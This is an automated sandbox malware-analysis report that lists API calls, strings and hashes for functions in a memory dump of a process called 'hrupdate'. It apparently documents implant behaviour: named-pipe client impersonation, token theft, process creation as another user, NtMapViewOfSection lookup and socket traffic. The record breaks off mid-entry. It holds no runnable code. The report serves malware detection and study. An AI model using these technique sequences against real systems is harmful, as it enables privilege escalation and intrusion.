_memset.LIBCMT ref: 0469AAA0
_memset.LIBCMT ref: 0469AAAC

Part of subcall function 0469AB4C: _malloc.LIBCMT ref: 0469AB9E
Part of subcall function 0469AB4C: _malloc.LIBCMT ref: 0469ABA9
Part of subcall function 0469AB4C: _memset.LIBCMT ref: 0469ABB5
Part of subcall function 0469AB4C: _memset.LIBCMT ref: 0469ABC0
Part of subcall function 0469AB4C: _rand.LIBCMT ref: 0469AC1E

__snprintf.LIBCMT ref: 0469AB08
_memset.LIBCMT ref: 0469AB26
_memset.LIBCMT ref: 0469AB31

Strings

%s%s, xrefs: 0469AAFB

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$__snprintf_rand
String ID: %s%s
API String ID: 4266533377-3438391663
Opcode ID: 48ff118005b44f592f4469dedb847140416168c8d284748c897e3be36f94970d
Instruction ID: c486375156545a92da414254c33a6bde33c1cfcd44ac37c73f743d8feaaa7bc6
Opcode Fuzzy Hash: 48ff118005b44f592f4469dedb847140416168c8d284748c897e3be36f94970d
Instruction Fuzzy Hash: 4121AE31900100ABDF15AF45CC85F9B7BAAEF92744F254094EE006B25AE6B1FD61CBE9

Function 0469873A Relevance: 10.6, APIs: 7, Instructions: 59pipethreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04698757
GetLastError.KERNEL32 ref: 0469876A
ConnectNamedPipe.KERNEL32(00000000), ref: 0469877E
ImpersonateNamedPipeClient.ADVAPI32 ref: 046987A9
GetCurrentThread.KERNEL32 ref: 046987BE
OpenThreadToken.ADVAPI32(00000000), ref: 046987C5
DisconnectNamedPipe.KERNEL32(046CE194), ref: 046987D9

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: NamedPipe$Thread$ClientConnectCurrentDisconnectErrorImpersonateLastOpenToken_memset
String ID:
API String ID: 3598867581-0
Opcode ID: 4c865cfbfcd4d810c0990c705d859e17fa1900a47db5e1b3fb466bd2e976653e
Instruction ID: e9d2ad8e1edc9ac1325b8c3738ec64152ef3e4f0e17dddd5a9154f0ecbbc933e
Opcode Fuzzy Hash: 4c865cfbfcd4d810c0990c705d859e17fa1900a47db5e1b3fb466bd2e976653e
Instruction Fuzzy Hash: 8211C271600109AFEF006BA2ED85EFA3BBDEB01344F041065EA04E6552FB7DAD64CFA1

Function 0469C9E3 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469C9F1
ioctlsocket.WS2_32(?,8004667E,?), ref: 0469CA15
GetTickCount.KERNEL32 ref: 0469CA4C
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 0469CA71

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: 959d1af40c1e5706e634261f37df002e02f77041073eab60f13a4b8593e108fe
Instruction ID: 98761eb6c729323793616dfd4645fa5a93ddddf593ab05260355ad8b54c77296
Opcode Fuzzy Hash: 959d1af40c1e5706e634261f37df002e02f77041073eab60f13a4b8593e108fe
Instruction Fuzzy Hash: 5C114C75510108BFEF00CFA4CC44BED7BECEB01769F008020E915D6191F7B8AE959EA5

Function 00672A10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(string too long,00672864,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00672A15
_Mtx_unlock.MSVCP140(?,A92820B5,?,00000000,00000000,00673E90,000000FF), ref: 00672A66
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00672A74
_Mtx_destroy.MSVCP140(?), ref: 00672A7E
_Cnd_destroy.MSVCP140(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00672A88

Strings

string too long, xrefs: 00672A10

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: C_error@std@@Cnd_destroyMtx_destroyMtx_unlockThrow_Xlength_error@std@@
String ID: string too long
API String ID: 1781926451-2556327735
Opcode ID: 1c900820fac4c448caedcd99ed31100015d3175ed928de62b9f047640b63d073
Instruction ID: 6087a436dcd0632423a26b9bc0b35a6bf7541ab4c67226b23069339bd4f692de
Opcode Fuzzy Hash: 1c900820fac4c448caedcd99ed31100015d3175ed928de62b9f047640b63d073
Instruction Fuzzy Hash: CC01B1B1904604EBD7248F64EC09B9B77EEFF04724F054639FA1ED3780DB35A9148AA6

Function 046A4E60 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 046A4E67

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

_malloc.LIBCMT ref: 046A4E74
_malloc.LIBCMT ref: 046A4E8F
__snprintf.LIBCMT ref: 046A4EA2
_malloc.LIBCMT ref: 046A4EC1

Strings

HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d, xrefs: 046A4E95

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap__snprintf
String ID: HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d
API String ID: 3929630252-2739389480
Opcode ID: eb4d51d847d367650917632bfecfad93f2afc5cd15de6a7f1381bfdefa91bd14
Instruction ID: 749f08bb4c59dfc4fe84af5f7661d047e72283e989dddffd6c8f5b632fe508d9
Opcode Fuzzy Hash: eb4d51d847d367650917632bfecfad93f2afc5cd15de6a7f1381bfdefa91bd14
Instruction Fuzzy Hash: 40014F71940704AEE7109FA9D884996BBE8EF44654B00C82DF58DD7200EA71E9548BA4

Function 04698C34 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 0469F2E8: GetCurrentProcess.KERNEL32(?,0469AF55,?,0469AFAD), ref: 0469F2F4

GetLastError.KERNEL32(?,?,?,0469E106,00000000), ref: 04698C85
_malloc.LIBCMT ref: 04698CF4
_memset.LIBCMT ref: 04698D03
_memset.LIBCMT ref: 04698D34
GetLastError.KERNEL32 ref: 04698D62
_memset.LIBCMT ref: 04698D77

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$ErrorLast$CurrentProcess_malloc
String ID:
API String ID: 2196066725-0
Opcode ID: 43b21a1e4d7b7c07d37469cb8ae2968ddcca1c8d1a5ba46455ded156afd4dde7
Instruction ID: 7b8f75893ed290fd573bfbae7d0fb6226d7cbe708c86cea41985fe2ac4f21aeb
Opcode Fuzzy Hash: 43b21a1e4d7b7c07d37469cb8ae2968ddcca1c8d1a5ba46455ded156afd4dde7
Instruction Fuzzy Hash: 90418DF6900108BEFF10ABA4CC41EBE76FCDF05658F040069FA44D2181FAA6AD659B79

Function 0469C0B4 Relevance: 9.1, APIs: 6, Instructions: 113pipesleepCOMMON

Download Yara Rule

APIs

GetNamedPipeInfo.KERNELBASE(00000000,00000000,?,00000000,00000000), ref: 0469C11C
SetNamedPipeHandleState.KERNEL32(00000000,00000001,00000000,00000000), ref: 0469C133
Sleep.KERNEL32(000001F4), ref: 0469C189
GetLastError.KERNEL32 ref: 0469C1A2
SetNamedPipeHandleState.KERNEL32(00000000,00000001,00000000,00000000), ref: 0469C1BE
GetLastError.KERNEL32 ref: 0469C1C8

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: NamedPipe$ErrorHandleLastState$InfoSleep
String ID:
API String ID: 1433407474-0
Opcode ID: 4725023c011bbb2ff8df8fd30548d7f691db36b1d4ea8dd09cfd2b7cde8b8533
Instruction ID: 9a69cd7b8e20fee967ad697451bf62d7a79df4896b206cc9741672212bb604f4
Opcode Fuzzy Hash: 4725023c011bbb2ff8df8fd30548d7f691db36b1d4ea8dd09cfd2b7cde8b8533
Instruction Fuzzy Hash: 3D314FB2900209EFEF109FD5D8849BEB7FDFF14345B10442AE601A6241F6B5BE849B65

Function 0469E2E4 Relevance: 9.1, APIs: 6, Instructions: 99threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0469E306
UpdateProcThreadAttribute.KERNELBASE(00000000,00000000,00020000,?,00000004,00000000,00000000), ref: 0469E334
GetLastError.KERNEL32 ref: 0469E33E
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 0469E376
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 0469E39E
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 0469E3BD

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ErrorLast$AttributeProcThreadUpdate
String ID:
API String ID: 1014270282-0
Opcode ID: 0fbce27b63f8fc4f95d614a234d86377c5a8fa62be771fd40bec2e93ccf59a6b
Instruction ID: 43377552425fa630cb9398edf279206094992a2ae8bbe03ad787ad5f591f35c0
Opcode Fuzzy Hash: 0fbce27b63f8fc4f95d614a234d86377c5a8fa62be771fd40bec2e93ccf59a6b
Instruction Fuzzy Hash: CB21A571740214BBEF209EA1DC49FAB3BACEF45754F140004FA09DA281F6B6AD508AA1

Function 00B10A00 Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 00B10A19
recv.WS2_32(?,?,00000001,00000002), ref: 00B10A44

Memory Dump Source

Source File: 00000000.00000002.3896804996.0000000000B10000.00000020.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_hrupdate.jbxd

Similarity

API ID: acceptrecv
String ID:
API String ID: 1078442044-0
Opcode ID: 799bfebe58026d8e8ac49e2f0a8ef1b9ac088bc460928630091ac0786317cf23
Instruction ID: 1b4cf0423e2c931f1d2c52e35636277c4587e53133d62d2bc4c0f2bf30d8cedd
Opcode Fuzzy Hash: 799bfebe58026d8e8ac49e2f0a8ef1b9ac088bc460928630091ac0786317cf23
Instruction Fuzzy Hash: 87310B34A64308EBDB10EF54C885BEABBB5EF54705FA0C494EA059B280D7B19DC1DB90

Function 0469BB3D Relevance: 9.1, APIs: 6, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0469BB53

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

htonl.WS2_32(046DA6C0), ref: 0469BB5D
htonl.WS2_32(00000000), ref: 0469BB67
htonl.WS2_32(00000000), ref: 0469BB72
WaitForSingleObject.KERNEL32(00000000,00000000,00000000,00000000,046DA6C0,00000001,00000000,00000000,046948C6), ref: 0469BBD1
_memset.LIBCMT ref: 0469BC02

Part of subcall function 0469BCE9: PeekNamedPipe.KERNEL32(00000000,00000000,00000004,046948C6,00000000,00000000,00000001,046DA6C0,00000000,046DA6C0,00000001,00000000,00000000,046948C6), ref: 0469BD21
Part of subcall function 0469BCE9: htonl.WS2_32(?), ref: 0469BD3F
Part of subcall function 0469BCE9: PeekNamedPipe.KERNEL32(00000008,?,00000004,00000004,00000008,00000000), ref: 0469BD8E

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: htonl$NamedPeekPipe$AllocateHeapObjectSingleWait_malloc_memset
String ID:
API String ID: 3572882391-0
Opcode ID: 14d2cf6094516da52c6fc2ccd2a9f2953b7b844a1cdc8efa4b0a281cc25487b4
Instruction ID: 2da815c1d860b503b5823ffa9c66920054e4d2b320de928620676b84518fd11d
Opcode Fuzzy Hash: 14d2cf6094516da52c6fc2ccd2a9f2953b7b844a1cdc8efa4b0a281cc25487b4
Instruction Fuzzy Hash: B821F2765007109AEF306F64E940A6673ECFF00B28710452DD9858A698FFB1BD8187A5

Function 0469B42A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtMapViewOfSection,00000000,?,00000000,?,0469B0D7,00000000,00000000,00000000), ref: 0469B463
GetProcAddress.KERNEL32(00000000), ref: 0469B46A
GetLastError.KERNEL32(?,0469B0D7,00000000,00000000,00000000), ref: 0469B4D4

Strings

NtMapViewOfSection, xrefs: 0469B459
ntdll.dll, xrefs: 0469B45E

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: NtMapViewOfSection$ntdll.dll
API String ID: 4275029093-3170647572
Opcode ID: 787b6c8bea718d563764e4eb9341916f6b5d40ab83a40d68f5167fbd14d5082e
Instruction ID: 833a7abe929375d49b4c637e346953a8f6248274946429cac4d01293156bdcfd
Opcode Fuzzy Hash: 787b6c8bea718d563764e4eb9341916f6b5d40ab83a40d68f5167fbd14d5082e
Instruction Fuzzy Hash: 0821C272900318BFDF11ABE5AC488FE7BACEF45F24B104419F61196241FAB4AE509FA4

Function 00673370 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(00676558), ref: 006733A2
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(00676564), ref: 006733B1

Strings

deg, xrefs: 006733EC
Xeg, xrefs: 006733CB

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: Xeg$deg
API String ID: 2450287516-1437564310
Opcode ID: 5d01c8112cd13dd6f41b2271518ea5b3973367629e4a246e9b568d79b0e3f97f
Instruction ID: 30025809b1b4869a212358aa8aa1dfdb1b2241075eebc18d5b113ece6788e583
Opcode Fuzzy Hash: 5d01c8112cd13dd6f41b2271518ea5b3973367629e4a246e9b568d79b0e3f97f
Instruction Fuzzy Hash: 8F11BF32D10A60AADF15DF68D8057CE7BE74B01720F01C059E81CAB385D6718B85A7A0

Function 04695261 Relevance: 7.7, APIs: 5, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04695285
_memset.LIBCMT ref: 04695296
_memset.LIBCMT ref: 046952A5
_strncpy.LIBCMT ref: 04695454
_strncpy.LIBCMT ref: 04695475

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_strncpy
String ID:
API String ID: 3537405232-0
Opcode ID: ceb812755fb89d2f77326bd70518b4a1071beb148d97ab0962bfaec6eca3e149
Instruction ID: 1284c4178876f8ec516f557f711f15452892779bb6f3264b973382baddcfd54f
Opcode Fuzzy Hash: ceb812755fb89d2f77326bd70518b4a1071beb148d97ab0962bfaec6eca3e149
Instruction Fuzzy Hash: 4581C172D00209ABEF12DB64D844FEE77FCAB04318F5445AAE516AB281F7B1FE048B54

Function 04694A3A Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04694A55
_memset.LIBCMT ref: 04694A64
_memset.LIBCMT ref: 04694B2E
_strncpy.LIBCMT ref: 04694B53
_strncpy.LIBCMT ref: 04694B7A

Part of subcall function 04695A58: _memset.LIBCMT ref: 04695A66

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_strncpy
String ID:
API String ID: 3537405232-0
Opcode ID: 98e570df8f27764c94a0a27d41fd18048173302addea7886ff6356281b5acf94
Instruction ID: 2c09ae495c6e0d918fc20eccc60cbcbcff1caf81bfb64e8c542982d9accc68cf
Opcode Fuzzy Hash: 98e570df8f27764c94a0a27d41fd18048173302addea7886ff6356281b5acf94
Instruction Fuzzy Hash: DC51BA72D4424AAAEF10DAE0DC41FEE77FCEB00308F008476E515AB185FA75BE468B54

Function 046979E2 Relevance: 7.6, APIs: 5, Instructions: 99timeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04697A00

Part of subcall function 046A4DDD: htonl.WS2_32(?), ref: 046A4E37
Part of subcall function 046A4DDD: htonl.WS2_32(?), ref: 046A4E41

GetLocalTime.KERNEL32(?), ref: 04697A28
GetLocalTime.KERNEL32(?), ref: 04697A72
GetLocalTime.KERNEL32(?), ref: 04697ABA
GetCurrentDirectoryA.KERNEL32(00000800,00000000), ref: 04697AE2

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: LocalTime$htonl$CurrentDirectory_memset
String ID:
API String ID: 1947157357-0
Opcode ID: 229bb2572fa41ec3ccd13440f2da7813074716d69917c9d81c1a16a6cd8191e5
Instruction ID: eef8b39de4ce7bd9b435b5a53d072668003d1cd18d24e92d89c8294c8677c828
Opcode Fuzzy Hash: 229bb2572fa41ec3ccd13440f2da7813074716d69917c9d81c1a16a6cd8191e5
Instruction Fuzzy Hash: BF31D872D00209AAEF20ABF4D809BEE77ACDF11715F104466E510EA0C1FE78EF518E54

Function 046990A3 Relevance: 7.6, APIs: 5, Instructions: 65processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32(046DAF5C,00000000,0469E106,00000000,00000000,00000001,3D8359EC,00000000,00000000,458D0874,55FF50D4,?,?,00000011,0469919B,?), ref: 046990C9
GetLastError.KERNEL32(?,?,0469E106,?), ref: 046990D9
GetLastError.KERNEL32(?,?,0469E106,?), ref: 046990F3

Part of subcall function 04698E95: _memset.LIBCMT ref: 04698EC3
Part of subcall function 04698E95: _memset.LIBCMT ref: 04698EDF

CreateProcessA.KERNEL32(00000000,0469E106,00000000,00000000,00000001,3D8359EC,00000000,00000000,458D0874,55FF50D4,?,?,00000011,0469919B,?,?), ref: 04699118
GetLastError.KERNEL32(?,?,0469E106,?), ref: 04699122

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateProcess_memset$User
String ID:
API String ID: 3779600536-0
Opcode ID: 0802a6bdd006f54d330528531eb2992a32f49a17ba4d0c257da6d91fd5c5f90e
Instruction ID: 6e3006de87bbf438d19a7bd745a680d179ff59700d8d41f7f82e2a8914eaaa5f
Opcode Fuzzy Hash: 0802a6bdd006f54d330528531eb2992a32f49a17ba4d0c257da6d91fd5c5f90e
Instruction Fuzzy Hash: D71182B1200640BEDF315EA2DC48D677BFEFBC6B44B10481DF55280210F6A6AC55EA20

Function 0469DB9B Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469DBC0
GetTickCount.KERNEL32 ref: 0469DBD8
shutdown.WS2_32(676494AD,00000002), ref: 0469DBF3
shutdown.WS2_32(676494AD,00000002), ref: 0469DC00
closesocket.WS2_32(676494AD), ref: 0469DC05

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTickshutdown$closesocket
String ID:
API String ID: 3414035747-0
Opcode ID: 9cec19ef55674a453c4847f9bf0135c0215e73e1dc0bb7573f76d3cd30ecfbc8
Instruction ID: 27ca757af445f0457b357bd7808382c65b914c7422b26957245b45e77eaa69b3
Opcode Fuzzy Hash: 9cec19ef55674a453c4847f9bf0135c0215e73e1dc0bb7573f76d3cd30ecfbc8
Instruction Fuzzy Hash: F9116DB1900B11CFEF709E38E804A26B3E8FB15755B004A3ED48A93A48F7B5FC018B90

Function 00B10840 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 00B1086E

Memory Dump Source

Source File: 00000000.00000002.3896804996.0000000000B10000.00000020.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_hrupdate.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 032615ee799a844b4eaf843d42a166f93b94703b2570c5b761f403b1acabe3f2
Instruction ID: 82bb5ce020ff25e21905689b972060fb409ceee34f72a61e7d36b9a7b2b3ac73
Opcode Fuzzy Hash: 032615ee799a844b4eaf843d42a166f93b94703b2570c5b761f403b1acabe3f2
Instruction Fuzzy Hash: F5211434A14245EBCB04DF58C588FE57BA6FB48344F94C1A8EA495F241CBB1E9C5CBE0

Function 0469BDB3 Relevance: 7.5, APIs: 5, Instructions: 49pipeCOMMON

Download Yara Rule

APIs

Part of subcall function 046A3BBA: _memset.LIBCMT ref: 046A3C43

GetLastError.KERNEL32(759223A0,?,?,?,0469BE7B,?,-0000EA60,?,?,04697D15,?,?), ref: 0469BDC3
WaitNamedPipeA.KERNEL32(?,00002710), ref: 0469BDD8
SetNamedPipeHandleState.KERNEL32(04697D15,?,00000000,00000000,?,?,?,0469BE7B,?,-0000EA60,?,?,04697D15,?,?), ref: 0469BE01
DisconnectNamedPipe.KERNEL32(04697D15,?,?,?,0469BE7B,?,-0000EA60,?,?,04697D15,?,?), ref: 0469BE0D

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: NamedPipe$DisconnectErrorHandleLastStateWait_memset
String ID:
API String ID: 1374046827-0
Opcode ID: 067cc0a7c09312d3b80d176b55c1e4d7bb19dd1fbcfbc30aa2d95ea1d4bf2dfa
Instruction ID: f4eceb209d15ba7c87fb0769b458f7eb640ec8f6104460ccb98ce21be126b49d
Opcode Fuzzy Hash: 067cc0a7c09312d3b80d176b55c1e4d7bb19dd1fbcfbc30aa2d95ea1d4bf2dfa
Instruction Fuzzy Hash: 2C018471604001EEEF101F65EC08ABA7BEDFF05B90B104929F545D9191FAB1AC519E20

Function 046B6CDE Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 046B6CEA

Part of subcall function 046B061D: __getptd_noexit.LIBCMT ref: 046B0620
Part of subcall function 046B061D: __amsg_exit.LIBCMT ref: 046B062D

__amsg_exit.LIBCMT ref: 046B6D0A
__lock.LIBCMT ref: 046B6D1A
InterlockedDecrement.KERNEL32(?), ref: 046B6D37
InterlockedIncrement.KERNEL32(04CF1668), ref: 046B6D62

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 50869143addffde63586969ddd9d5d43336dbc5225eeaba8788eb10cd3adbc47
Instruction ID: 7f8fcad35b065eb8f06ada20eaa1f56604a948ac2d294db29f6e935b1d4b8f25
Opcode Fuzzy Hash: 50869143addffde63586969ddd9d5d43336dbc5225eeaba8788eb10cd3adbc47
Instruction Fuzzy Hash: 65018431E00B21A7DB20AF24D4057ED7760EF01B24F14054AD490A7680FB3879D1CFDA

Function 04697B77 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 04697B84
gethostbyname.WS2_32(?), ref: 04697B98
htons.WS2_32(?), ref: 04697BC1
connect.WS2_32(00000000,?,00000010), ref: 04697BD1
closesocket.WS2_32(00000000), ref: 04697BDB

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 8c3c2bd4798a79f9a0cf09cc9962df59210a1319322d26f080d932f51fe67372
Instruction ID: ef706c3fab9cc74f9e9666ab50fb212d82ccaaf7a743cbcdd2b67e123c30e2f0
Opcode Fuzzy Hash: 8c3c2bd4798a79f9a0cf09cc9962df59210a1319322d26f080d932f51fe67372
Instruction Fuzzy Hash: 17F06D25A10219AAEE107BB48C06FEE77AC9F10728F044655F965AA2D5F7B0F94083E9

Function 046AE93E Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 046AE95C

Part of subcall function 046B1075: __mtinitlocknum.LIBCMT ref: 046B108B
Part of subcall function 046B1075: __amsg_exit.LIBCMT ref: 046B1097
Part of subcall function 046B1075: RtlEnterCriticalSection.NTDLL(?), ref: 046B109F

___sbh_find_block.LIBCMT ref: 046AE967
___sbh_free_block.LIBCMT ref: 046AE976
HeapFree.KERNEL32(00000000,?,046C95B0,0000000C,046B1056,00000000,046C9760,0000000C,046B1090,?,?,?,046BC35D,00000004,046C9A70,0000000C), ref: 046AE9A6
GetLastError.KERNEL32(?,046BC35D,00000004,046C9A70,0000000C,046B7A28,?,?,00000000,00000000,00000000,?,046B05CF,00000001,00000214), ref: 046AE9B7

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 261b1f6c56f1502dbb40fc6f81c5490ee20d3b3bc17996db55e7cc90c68e683b
